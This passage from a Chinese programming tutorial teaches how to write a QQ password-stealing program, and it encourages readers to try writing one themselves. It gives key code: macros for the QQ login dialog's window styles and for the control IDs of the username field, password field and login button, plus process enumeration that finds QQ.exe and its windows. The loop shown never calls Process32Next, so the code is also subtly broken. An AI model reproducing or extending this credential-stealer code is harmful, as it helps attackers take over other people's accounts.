二、 实现过程 有了上面这个流程图后,经常写win32程序的朋友应该也能写出这种盗QQ程序的,你无妨自已写写试试,有不明白的地方可以参考我的程序。以下为我的程序的关键代码: (一) 定义宏 //QQ登陆框正常情况下的风格 #define QQLoginDlgNormalStyle 0x94CA00C4 //QQ登陆框最小化时的风格 #define QQLoginDlgMiniStyle 0xB4CA00C4 //用户名下拉控件的ID #define QQLoginUserNameId 0x0000008A //密码控件文本框的ID #define QQLoginPasswordId 0x000000B4 //登陆按扭的ID #define QQLoginButtonId 0x00003EA0 (二) 枚举进程找到QQ.exe //定义PROCESSENTRY32结构 PROCESSENTRY32 pe; pe.dwSize = sizeof(pe); HANDLE hProcessSnap; //所有进程快照 hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); if(hProcessSnap == INVALID_HANDLE_VALUE) { printf("进程快照失败!\n"); return -1; } BOOL bRet; //遍历进程快照,轮流显示每个进程的信息 bRet = Process32First(hProcessSnap,&pe); while(bRet) { //pe.szExeFile保存的值为进程对应的可执行文件名 if(strcmp(pe.szExeFile,"QQ.exe") ==0) { //这个时候的pe.th32ProcessID值,就是QQ.exe的PID值了。 BOOL bRet; //枚举所有窗口,把进程PID传给回调函数EnumAllWindowsProc bRet = EnumWindows(EnumAllWindowsProc,(LPARAM)pe.th32ProcessID); if(bRet == FALSE) { printf("枚举所有窗口失败!\n"); return -1; } } } 这里要提醒一点,要调用CreateToolhelp32Snapshot()、Process32First()这些函数,需要在顶部加一句代码:#include <tlhelp32.h>。
|